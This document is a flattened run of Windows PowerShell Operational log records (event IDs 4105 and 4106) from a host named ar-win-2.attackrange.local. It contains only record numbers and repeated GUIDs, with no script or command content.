410615103150x0670803Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670802Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670801Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670800Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670799Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670798Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670797Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670796Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670795Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670794Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670793Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670792Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670791Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670790Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670789Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670788Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670787Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670786Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670785Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670784Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670783Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670782Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670781Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670780Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670779Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670778Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670777Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670776Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670775Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670774Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670773Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670772Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670771Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670770Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670769Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670768Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670767Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670766Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670765Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670764Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670763Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670762Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670761Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670760Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670759Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670758Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670757Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670756Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670755Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670754Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670753Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670752Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670751Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670750Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670749Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670748Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670747Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670746Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670745Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670744Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670743Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670742Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670741Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670740Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670739Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670738Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670737Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670736Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670735Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670734Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670733Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670732Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670731Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670730Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670729Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670728Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670727Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670726Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670725Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670724Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670723Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670722Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670721Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670720Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670719Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670718Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670717Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670716Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670715Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670714Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670713Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670712Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670711Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670710Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670709Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670708Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670707Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670706Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670705Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670704Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670703Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670702Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670701Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670700Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670699Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670698Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670697Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670696Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670695Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670694Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670693Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670692Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670691Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670690Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670689Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670688Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670687Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670686Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670685Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670684Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670683Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670682Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670681Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670680Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670679Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670678Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670677Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670676Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670675Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670674Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670673Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670672Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670671Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670670Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670669Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670668Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670667Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670666Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670665Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670664Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670663Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670662Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670661Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670660Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670659Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670658Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670657Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670656Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670655Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670654Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670653Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670652Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670651Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670650Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 